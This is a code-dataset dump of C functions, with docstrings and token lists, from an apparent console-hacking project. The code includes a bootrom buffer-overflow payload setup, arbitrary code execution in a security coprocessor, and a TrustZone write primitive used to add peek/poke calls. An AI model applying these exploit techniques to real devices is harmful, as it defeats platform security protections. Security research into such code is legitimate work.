static int brom_init(k_root* kroot) { if (!kroot) return -1; kroot->printf("[SNS][FUD] brom_init, cleaning tachyon eDRAM and pac DRAM\n"); kroot->memset(kroot->tachyon_edram, 0, 0x200000); kroot->memset(kroot->pac_dram, 0, 0x20000); kroot->printf("[SNS][FUD] preparing the fake sk\n"); kroot->memcpy(kroot->pac_dram, secure_kernel_enp, 0x40); kroot->memcpy(kroot->pac_dram + 0x300, brom_stage2, 0x10); kroot->memcpy(kroot->pac_dram + 0x310, brom_framework_nmp, sizeof(brom_framework_nmp)); kroot->memcpy(kroot->pac_dram + 0x3E0, "hellowo from cmep first_loader\n", sizeof("hellowo from cmep first_loader\n")); *(uint32_t*)(kroot->pac_dram + 4) = 0x2c0; *(uint32_t*)(kroot->pac_dram + 0x10) = -0x2c0; for (int skoff = 0x400; skoff < (0x20000 - 4); skoff -= -4) { *(uint32_t*)(kroot->pac_dram + skoff) = 0xbffebffe; } *(uint16_t*)(kroot->pac_dram + 0x400) = 0xbf00; return 0; }
[ "static", "int", "brom_init", "(", "k_root", "*", "kroot", ")", "{", "if", "(", "!", "kroot", ")", "return", "-1", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "kroot", "->", "memset", "(", "kroot", "->", "tachyon_edram", ",", "0", ",", "0x200000", ")", ";", "kroot", "->", "memset", "(", "kroot", "->", "pac_dram", ",", "0", ",", "0x20000", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "kroot", "->", "memcpy", "(", "kroot", "->", "pac_dram", ",", "secure_kernel_enp", ",", "0x40", ")", ";", "kroot", "->", "memcpy", "(", "kroot", "->", "pac_dram", "+", "0x300", ",", "brom_stage2", ",", "0x10", ")", ";", "kroot", "->", "memcpy", "(", "kroot", "->", "pac_dram", "+", "0x310", ",", "brom_framework_nmp", ",", "sizeof", "(", "brom_framework_nmp", ")", ")", ";", "kroot", "->", "memcpy", "(", "kroot", "->", "pac_dram", "+", "0x3E0", ",", "\"", "\\n", "\"", ",", "sizeof", "(", "\"", "\\n", "\"", ")", ")", ";", "*", "(", "uint32_t", "*", ")", "(", "kroot", "->", "pac_dram", "+", "4", ")", "=", "0x2c0", ";", "*", "(", "uint32_t", "*", ")", "(", "kroot", "->", "pac_dram", "+", "0x10", ")", "=", "-0x2c0", ";", "for", "(", "int", "skoff", "=", "0x400", ";", "skoff", "<", "(", "0x20000", "-", "4", ")", ";", "skoff", "-=", "-4", ")", "{", "*", "(", "uint32_t", "*", ")", "(", "kroot", "->", "pac_dram", "+", "skoff", ")", "=", "0xbffebffe", ";", "}", "*", "(", "uint16_t", "*", ")", "(", "kroot", "->", "pac_dram", "+", "0x400", ")", "=", "0xbf00", ";", "return", "0", ";", "}" ]
construct the fake secure_kernel.enp @ 0x4c000000
[ "construct", "the", "fake", "secure_kernel", ".", "enp", "@", "0x4c000000" ]
[ "// legit sk header and the bootrom payloads", "// buffer overflow", "// bra slide-back", "// bra brom_payload" ]
[ { "param": "kroot", "type": "k_root" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "kroot", "type": "k_root", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
b6c774bbf65555e5ec3e5cdf72158cc97a3b42f9
SKGleba/broombroom
cmep.c
[ "MIT" ]
C
brom_run
int
static int brom_run(k_root* kroot, void* code, uint32_t size, uint32_t arg, int wellcheck) { if (!kroot || !code) return -1; void (*wait)() = (void*)KFUN("SceKernelThreadMgr", 0x2fc8 | 1); kroot->printf("[SNS][FUD] brom_run_code(0x%X(0x%X) [0x%X])\n", code, arg, size); kroot->printf("[SNS][FUD] pacDRAM = 0x%X 0x%X 0x%X 0x%X\n", *(uint32_t*)kroot->pac_dram, *(uint32_t*)(kroot->pac_dram + 4), *(uint32_t*)(kroot->pac_dram + 8), *(uint32_t*)(kroot->pac_dram + 0xC)); if (*(uint32_t*)kroot->pac_dram != 0xF00DF00D) { kroot->printf("[SNS][FUD] brom not ready - aborting\n"); return -3; } volatile fm_nfo* fmnfo = kroot->tachyon_edram; kroot->memset((void*)fmnfo, 0, sizeof(fm_nfo)); if (size) { kroot->printf("[SNS][FUD] copying code to tachyon edram\n"); kroot->memset(kroot->tachyon_edram + 0x20, 0, 0x300); kroot->memcpy(kroot->tachyon_edram + 0x20, code, size); fmnfo->codepaddr = 0x1C000020; } else fmnfo->codepaddr = (uint32_t)code; fmnfo->magic = 0x14ff; fmnfo->arg = arg; kroot->printf("[SNS][FUD] running custom brom code\n"); __asm ("dmb sy"); __asm ("dsb sy"); fmnfo->status = 0x34; __asm ("dsb sy"); __asm ("dmb sy"); while (fmnfo->status != 0xAA) { if (wellcheck) { kroot->printf("[SNS][FUD] reg0 0x%08X | reg1 0x%08X\n", *(uint32_t*)(kroot->tachyon_edram + 0x10), *(uint32_t*)(kroot->tachyon_edram + 0x14)); wait(wellcheck); } } kroot->printf("[SNS][FUD] status 0x%X | resp 0x%X\n", fmnfo->status, fmnfo->resp); return (fmnfo->status == 0xAA) ? (int)fmnfo->resp : -2; }
// run code using the cmep bootrom framework
run code using the cmep bootrom framework
[ "run", "code", "using", "the", "cmep", "bootrom", "framework" ]
static int brom_run(k_root* kroot, void* code, uint32_t size, uint32_t arg, int wellcheck) { if (!kroot || !code) return -1; void (*wait)() = (void*)KFUN("SceKernelThreadMgr", 0x2fc8 | 1); kroot->printf("[SNS][FUD] brom_run_code(0x%X(0x%X) [0x%X])\n", code, arg, size); kroot->printf("[SNS][FUD] pacDRAM = 0x%X 0x%X 0x%X 0x%X\n", *(uint32_t*)kroot->pac_dram, *(uint32_t*)(kroot->pac_dram + 4), *(uint32_t*)(kroot->pac_dram + 8), *(uint32_t*)(kroot->pac_dram + 0xC)); if (*(uint32_t*)kroot->pac_dram != 0xF00DF00D) { kroot->printf("[SNS][FUD] brom not ready - aborting\n"); return -3; } volatile fm_nfo* fmnfo = kroot->tachyon_edram; kroot->memset((void*)fmnfo, 0, sizeof(fm_nfo)); if (size) { kroot->printf("[SNS][FUD] copying code to tachyon edram\n"); kroot->memset(kroot->tachyon_edram + 0x20, 0, 0x300); kroot->memcpy(kroot->tachyon_edram + 0x20, code, size); fmnfo->codepaddr = 0x1C000020; } else fmnfo->codepaddr = (uint32_t)code; fmnfo->magic = 0x14ff; fmnfo->arg = arg; kroot->printf("[SNS][FUD] running custom brom code\n"); __asm ("dmb sy"); __asm ("dsb sy"); fmnfo->status = 0x34; __asm ("dsb sy"); __asm ("dmb sy"); while (fmnfo->status != 0xAA) { if (wellcheck) { kroot->printf("[SNS][FUD] reg0 0x%08X | reg1 0x%08X\n", *(uint32_t*)(kroot->tachyon_edram + 0x10), *(uint32_t*)(kroot->tachyon_edram + 0x14)); wait(wellcheck); } } kroot->printf("[SNS][FUD] status 0x%X | resp 0x%X\n", fmnfo->status, fmnfo->resp); return (fmnfo->status == 0xAA) ? (int)fmnfo->resp : -2; }
[ "static", "int", "brom_run", "(", "k_root", "*", "kroot", ",", "void", "*", "code", ",", "uint32_t", "size", ",", "uint32_t", "arg", ",", "int", "wellcheck", ")", "{", "if", "(", "!", "kroot", "||", "!", "code", ")", "return", "-1", ";", "void", "(", "*", "wait", ")", "(", ")", "=", "(", "void", "*", ")", "KFUN", "(", "\"", "\"", ",", "0x2fc8", "|", "1", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "code", ",", "arg", ",", "size", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "*", "(", "uint32_t", "*", ")", "kroot", "->", "pac_dram", ",", "*", "(", "uint32_t", "*", ")", "(", "kroot", "->", "pac_dram", "+", "4", ")", ",", "*", "(", "uint32_t", "*", ")", "(", "kroot", "->", "pac_dram", "+", "8", ")", ",", "*", "(", "uint32_t", "*", ")", "(", "kroot", "->", "pac_dram", "+", "0xC", ")", ")", ";", "if", "(", "*", "(", "uint32_t", "*", ")", "kroot", "->", "pac_dram", "!=", "0xF00DF00D", ")", "{", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "return", "-3", ";", "}", "volatile", "fm_nfo", "*", "fmnfo", "=", "kroot", "->", "tachyon_edram", ";", "kroot", "->", "memset", "(", "(", "void", "*", ")", "fmnfo", ",", "0", ",", "sizeof", "(", "fm_nfo", ")", ")", ";", "if", "(", "size", ")", "{", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "kroot", "->", "memset", "(", "kroot", "->", "tachyon_edram", "+", "0x20", ",", "0", ",", "0x300", ")", ";", "kroot", "->", "memcpy", "(", "kroot", "->", "tachyon_edram", "+", "0x20", ",", "code", ",", "size", ")", ";", "fmnfo", "->", "codepaddr", "=", "0x1C000020", ";", "}", "else", "fmnfo", "->", "codepaddr", "=", "(", "uint32_t", ")", "code", ";", "fmnfo", "->", "magic", "=", "0x14ff", ";", "fmnfo", "->", "arg", "=", "arg", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "fmnfo", "->", "status", "=", "0x34", ";", "__asm", "(", "\"", "\"", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "while", "(", "fmnfo", "->", "status", "!=", "0xAA", ")", "{", "if", "(", "wellcheck", ")", "{", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "*", "(", "uint32_t", "*", ")", "(", "kroot", "->", "tachyon_edram", "+", "0x10", ")", ",", "*", "(", "uint32_t", "*", ")", "(", "kroot", "->", "tachyon_edram", "+", "0x14", ")", ")", ";", "wait", "(", "wellcheck", ")", ";", "}", "}", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "fmnfo", "->", "status", ",", "fmnfo", "->", "resp", ")", ";", "return", "(", "fmnfo", "->", "status", "==", "0xAA", ")", "?", "(", "int", ")", "fmnfo", "->", "resp", ":", "-2", ";", "}" ]
run code using the cmep bootrom framework
[ "run", "code", "using", "the", "cmep", "bootrom", "framework" ]
[]
[ { "param": "kroot", "type": "k_root" }, { "param": "code", "type": "void" }, { "param": "size", "type": "uint32_t" }, { "param": "arg", "type": "uint32_t" }, { "param": "wellcheck", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "kroot", "type": "k_root", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "code", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "size", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "arg", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "wellcheck", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
b6c774bbf65555e5ec3e5cdf72158cc97a3b42f9
SKGleba/broombroom
cmep.c
[ "MIT" ]
C
bromcpy
int
static int bromcpy(uint32_t dst, uint32_t src, uint32_t size, k_root* kroot) { if (!kroot) return -1; kroot->printf("[SNS][FUD] bromcpy 0x%X @ 0x%X -> 0x%X\n", size, src, dst); kroot->memset(kroot->pac_dram + 0x10, 0, 0x20000 - 0x10); bromcpy_args* args = kroot->pac_dram + 0x10; args->magic = 0xF00DF00D; args->src = src; args->dst = dst; args->sz = size; uint32_t ret = brom_run(kroot, (void*)bromcpy_nmp, sizeof(bromcpy_nmp), 0x4C000010, 0); kroot->printf("[SNS][FUD] brom_run ret 0x%X\n", ret); if ((uint32_t)ret != 0xF00D600D) return -2; return 0; }
// PA memcpy using the brom framework
PA memcpy using the brom framework
[ "PA", "memcpy", "using", "the", "brom", "framework" ]
static int bromcpy(uint32_t dst, uint32_t src, uint32_t size, k_root* kroot) { if (!kroot) return -1; kroot->printf("[SNS][FUD] bromcpy 0x%X @ 0x%X -> 0x%X\n", size, src, dst); kroot->memset(kroot->pac_dram + 0x10, 0, 0x20000 - 0x10); bromcpy_args* args = kroot->pac_dram + 0x10; args->magic = 0xF00DF00D; args->src = src; args->dst = dst; args->sz = size; uint32_t ret = brom_run(kroot, (void*)bromcpy_nmp, sizeof(bromcpy_nmp), 0x4C000010, 0); kroot->printf("[SNS][FUD] brom_run ret 0x%X\n", ret); if ((uint32_t)ret != 0xF00D600D) return -2; return 0; }
[ "static", "int", "bromcpy", "(", "uint32_t", "dst", ",", "uint32_t", "src", ",", "uint32_t", "size", ",", "k_root", "*", "kroot", ")", "{", "if", "(", "!", "kroot", ")", "return", "-1", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "size", ",", "src", ",", "dst", ")", ";", "kroot", "->", "memset", "(", "kroot", "->", "pac_dram", "+", "0x10", ",", "0", ",", "0x20000", "-", "0x10", ")", ";", "bromcpy_args", "*", "args", "=", "kroot", "->", "pac_dram", "+", "0x10", ";", "args", "->", "magic", "=", "0xF00DF00D", ";", "args", "->", "src", "=", "src", ";", "args", "->", "dst", "=", "dst", ";", "args", "->", "sz", "=", "size", ";", "uint32_t", "ret", "=", "brom_run", "(", "kroot", ",", "(", "void", "*", ")", "bromcpy_nmp", ",", "sizeof", "(", "bromcpy_nmp", ")", ",", "0x4C000010", ",", "0", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "ret", ")", ";", "if", "(", "(", "uint32_t", ")", "ret", "!=", "0xF00D600D", ")", "return", "-2", ";", "return", "0", ";", "}" ]
PA memcpy using the brom framework
[ "PA", "memcpy", "using", "the", "brom", "framework" ]
[]
[ { "param": "dst", "type": "uint32_t" }, { "param": "src", "type": "uint32_t" }, { "param": "size", "type": "uint32_t" }, { "param": "kroot", "type": "k_root" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "dst", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "src", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "size", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "kroot", "type": "k_root", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
b6c774bbf65555e5ec3e5cdf72158cc97a3b42f9
SKGleba/broombroom
cmep.c
[ "MIT" ]
C
apply_fakeenv
int
static int apply_fakeenv(void* sl, void* evh, uint32_t evh_size, k_root* kroot) { if (!kroot || !evh) return -1; kroot->printf("[SNS][FUD] apply_fakeenv (0x%X)\n", 0xCE00); kroot->memset(kroot->tachyon_edram + 0x20000, 0, 0xCE00); kroot->memcpy(kroot->tachyon_edram + 0x20000, sl, 0xCE00); kroot->printf("[SNS][FUD] preparing the evectors table and handler\n"); for (int i = 0; i < 0xb0; i -= -4) { *(uint32_t*)(kroot->tachyon_edram + 0x20000 + i) = 0x0400dd88; } kroot->memcpy(kroot->tachyon_edram + 0x200b0, evh, evh_size); kroot->printf("[SNS][FUD] copying preframe\n"); int ret = bromcpy(0x00040000, 0x1C020000, 0x300, kroot); if (ret) return ret; kroot->printf("[SNS][FUD] copying postframe\n"); ret = bromcpy(0x00040400, 0x1C020000 + 0x400, 0xCE00 - 0x400, kroot); if (ret) return ret; return 0; }
// copy 3.65 second_loader to cmep memory using bootrom code exec framework
copy 3.65 second_loader to cmep memory using bootrom code exec framework
[ "copy", "3", ".", "65", "second_loader", "to", "cmep", "memory", "using", "bootrom", "code", "exec", "framework" ]
static int apply_fakeenv(void* sl, void* evh, uint32_t evh_size, k_root* kroot) { if (!kroot || !evh) return -1; kroot->printf("[SNS][FUD] apply_fakeenv (0x%X)\n", 0xCE00); kroot->memset(kroot->tachyon_edram + 0x20000, 0, 0xCE00); kroot->memcpy(kroot->tachyon_edram + 0x20000, sl, 0xCE00); kroot->printf("[SNS][FUD] preparing the evectors table and handler\n"); for (int i = 0; i < 0xb0; i -= -4) { *(uint32_t*)(kroot->tachyon_edram + 0x20000 + i) = 0x0400dd88; } kroot->memcpy(kroot->tachyon_edram + 0x200b0, evh, evh_size); kroot->printf("[SNS][FUD] copying preframe\n"); int ret = bromcpy(0x00040000, 0x1C020000, 0x300, kroot); if (ret) return ret; kroot->printf("[SNS][FUD] copying postframe\n"); ret = bromcpy(0x00040400, 0x1C020000 + 0x400, 0xCE00 - 0x400, kroot); if (ret) return ret; return 0; }
[ "static", "int", "apply_fakeenv", "(", "void", "*", "sl", ",", "void", "*", "evh", ",", "uint32_t", "evh_size", ",", "k_root", "*", "kroot", ")", "{", "if", "(", "!", "kroot", "||", "!", "evh", ")", "return", "-1", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ",", "0xCE00", ")", ";", "kroot", "->", "memset", "(", "kroot", "->", "tachyon_edram", "+", "0x20000", ",", "0", ",", "0xCE00", ")", ";", "kroot", "->", "memcpy", "(", "kroot", "->", "tachyon_edram", "+", "0x20000", ",", "sl", ",", "0xCE00", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "for", "(", "int", "i", "=", "0", ";", "i", "<", "0xb0", ";", "i", "-=", "-4", ")", "{", "*", "(", "uint32_t", "*", ")", "(", "kroot", "->", "tachyon_edram", "+", "0x20000", "+", "i", ")", "=", "0x0400dd88", ";", "}", "kroot", "->", "memcpy", "(", "kroot", "->", "tachyon_edram", "+", "0x200b0", ",", "evh", ",", "evh_size", ")", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "int", "ret", "=", "bromcpy", "(", "0x00040000", ",", "0x1C020000", ",", "0x300", ",", "kroot", ")", ";", "if", "(", "ret", ")", "return", "ret", ";", "kroot", "->", "printf", "(", "\"", "\\n", "\"", ")", ";", "ret", "=", "bromcpy", "(", "0x00040400", ",", "0x1C020000", "+", "0x400", ",", "0xCE00", "-", "0x400", ",", "kroot", ")", ";", "if", "(", "ret", ")", "return", "ret", ";", "return", "0", ";", "}" ]
copy 3.65 second_loader to cmep memory using bootrom code exec framework
[ "copy", "3", ".", "65", "second_loader", "to", "cmep", "memory", "using", "bootrom", "code", "exec", "framework" ]
[]
[ { "param": "sl", "type": "void" }, { "param": "evh", "type": "void" }, { "param": "evh_size", "type": "uint32_t" }, { "param": "kroot", "type": "k_root" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "sl", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "evh", "type": "void", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "evh_size", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "kroot", "type": "k_root", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
691edd58b79b259a0280556f30fdd6afd9b23b2f
SKGleba/broombroom
cmep-payloads/brom_framework/main.c
[ "MIT" ]
C
_start
void
void _start(u8_t handshake) { fm_nfo* fmnfo = (void*)0x1c000000; if ((fmnfo->magic == 0x14FF) && (fmnfo->status == 0x34)) { fmnfo->status = 0x69; u32_t(*ccode)(u32_t arg) = (void*)(fmnfo->codepaddr); fmnfo->resp = ccode(fmnfo->arg); fmnfo->status = handshake; } *(u32_t*)0x4C000000 = (u32_t)0xF00DF00D; *(u32_t*)0x4C000004 = (u32_t)0xF00DBABE; *(u32_t*)0x4C000008 = (u32_t)0xF00DCAFE; *(u32_t*)0x4C00000C = (u32_t)0xF00DD00D; return; }
// Check manager magic and jump to it
Check manager magic and jump to it
[ "Check", "manager", "magic", "and", "jump", "to", "it" ]
void _start(u8_t handshake) { fm_nfo* fmnfo = (void*)0x1c000000; if ((fmnfo->magic == 0x14FF) && (fmnfo->status == 0x34)) { fmnfo->status = 0x69; u32_t(*ccode)(u32_t arg) = (void*)(fmnfo->codepaddr); fmnfo->resp = ccode(fmnfo->arg); fmnfo->status = handshake; } *(u32_t*)0x4C000000 = (u32_t)0xF00DF00D; *(u32_t*)0x4C000004 = (u32_t)0xF00DBABE; *(u32_t*)0x4C000008 = (u32_t)0xF00DCAFE; *(u32_t*)0x4C00000C = (u32_t)0xF00DD00D; return; }
[ "void", "_start", "(", "u8_t", "handshake", ")", "{", "fm_nfo", "*", "fmnfo", "=", "(", "void", "*", ")", "0x1c000000", ";", "if", "(", "(", "fmnfo", "->", "magic", "==", "0x14FF", ")", "&&", "(", "fmnfo", "->", "status", "==", "0x34", ")", ")", "{", "fmnfo", "->", "status", "=", "0x69", ";", "u32_t", "(", "*", "ccode", ")", "(", "u32_t", "arg", ")", "=", "(", "void", "*", ")", "(", "fmnfo", "->", "codepaddr", ")", ";", "fmnfo", "->", "resp", "=", "ccode", "(", "fmnfo", "->", "arg", ")", ";", "fmnfo", "->", "status", "=", "handshake", ";", "}", "*", "(", "u32_t", "*", ")", "0x4C000000", "=", "(", "u32_t", ")", "0xF00DF00D", ";", "*", "(", "u32_t", "*", ")", "0x4C000004", "=", "(", "u32_t", ")", "0xF00DBABE", ";", "*", "(", "u32_t", "*", ")", "0x4C000008", "=", "(", "u32_t", ")", "0xF00DCAFE", ";", "*", "(", "u32_t", "*", ")", "0x4C00000C", "=", "(", "u32_t", ")", "0xF00DD00D", ";", "return", ";", "}" ]
Check manager magic and jump to it
[ "Check", "manager", "magic", "and", "jump", "to", "it" ]
[]
[ { "param": "handshake", "type": "u8_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "handshake", "type": "u8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
63de22cb844d708236d11a73ba1896767044fa0a
SKGleba/broombroom
tz.c
[ "MIT" ]
C
patch_tz_peekpoke
int
static int patch_tz_peekpoke(k_root* kroot) { void (*dcl2wbivr)(void* va, uint32_t sz) = KFUN("SceSysmem", 0x1b1d4 | 1); if (!dcl2wbivr) return -1; unsigned int* shared_mem = (unsigned int*)(K_SHARED); unsigned int handle; unsigned int ret, i; unsigned int index; unsigned int smc_id = 0x180; unsigned int tz_shared_mem = TZ_SHARED; unsigned int tz_syscall_table = TZ_SYSCALL; unsigned int tz_target_write_address = tz_syscall_table + ((smc_id - 0x100) * 4); kroot->memset(shared_mem, 0, 0x5000); shared_mem[0x28 / 4] = TZ_PEEK; // PEEK function shared_mem[0x2C / 4] = TZ_POKE; // POKE function handle = tz_shared_mem; handle >>= 1; index = (tz_target_write_address - tz_shared_mem) >> 7; dcl2wbivr(shared_mem, 0x5000); __asm ("dmb sy"); __asm ("dsb sy"); ret = xsmc(handle, index, 0, 0, 0x12F); __asm ("dsb sy"); __asm ("dmb sy"); return ret; }
// use the write primitive to add read32 and write32 smcs // code by Proxima
use the write primitive to add read32 and write32 smcs code by Proxima
[ "use", "the", "write", "primitive", "to", "add", "read32", "and", "write32", "smcs", "code", "by", "Proxima" ]
static int patch_tz_peekpoke(k_root* kroot) { void (*dcl2wbivr)(void* va, uint32_t sz) = KFUN("SceSysmem", 0x1b1d4 | 1); if (!dcl2wbivr) return -1; unsigned int* shared_mem = (unsigned int*)(K_SHARED); unsigned int handle; unsigned int ret, i; unsigned int index; unsigned int smc_id = 0x180; unsigned int tz_shared_mem = TZ_SHARED; unsigned int tz_syscall_table = TZ_SYSCALL; unsigned int tz_target_write_address = tz_syscall_table + ((smc_id - 0x100) * 4); kroot->memset(shared_mem, 0, 0x5000); shared_mem[0x28 / 4] = TZ_PEEK; shared_mem[0x2C / 4] = TZ_POKE; handle = tz_shared_mem; handle >>= 1; index = (tz_target_write_address - tz_shared_mem) >> 7; dcl2wbivr(shared_mem, 0x5000); __asm ("dmb sy"); __asm ("dsb sy"); ret = xsmc(handle, index, 0, 0, 0x12F); __asm ("dsb sy"); __asm ("dmb sy"); return ret; }
[ "static", "int", "patch_tz_peekpoke", "(", "k_root", "*", "kroot", ")", "{", "void", "(", "*", "dcl2wbivr", ")", "(", "void", "*", "va", ",", "uint32_t", "sz", ")", "=", "KFUN", "(", "\"", "\"", ",", "0x1b1d4", "|", "1", ")", ";", "if", "(", "!", "dcl2wbivr", ")", "return", "-1", ";", "unsigned", "int", "*", "shared_mem", "=", "(", "unsigned", "int", "*", ")", "(", "K_SHARED", ")", ";", "unsigned", "int", "handle", ";", "unsigned", "int", "ret", ",", "i", ";", "unsigned", "int", "index", ";", "unsigned", "int", "smc_id", "=", "0x180", ";", "unsigned", "int", "tz_shared_mem", "=", "TZ_SHARED", ";", "unsigned", "int", "tz_syscall_table", "=", "TZ_SYSCALL", ";", "unsigned", "int", "tz_target_write_address", "=", "tz_syscall_table", "+", "(", "(", "smc_id", "-", "0x100", ")", "*", "4", ")", ";", "kroot", "->", "memset", "(", "shared_mem", ",", "0", ",", "0x5000", ")", ";", "shared_mem", "[", "0x28", "/", "4", "]", "=", "TZ_PEEK", ";", "shared_mem", "[", "0x2C", "/", "4", "]", "=", "TZ_POKE", ";", "handle", "=", "tz_shared_mem", ";", "handle", ">>=", "1", ";", "index", "=", "(", "tz_target_write_address", "-", "tz_shared_mem", ")", ">>", "7", ";", "dcl2wbivr", "(", "shared_mem", ",", "0x5000", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "ret", "=", "xsmc", "(", "handle", ",", "index", ",", "0", ",", "0", ",", "0x12F", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "__asm", "(", "\"", "\"", ")", ";", "return", "ret", ";", "}" ]
use the write primitive to add read32 and write32 smcs code by Proxima
[ "use", "the", "write", "primitive", "to", "add", "read32", "and", "write32", "smcs", "code", "by", "Proxima" ]
[ "// PEEK function ", "// POKE function" ]
[ { "param": "kroot", "type": "k_root" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "kroot", "type": "k_root", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }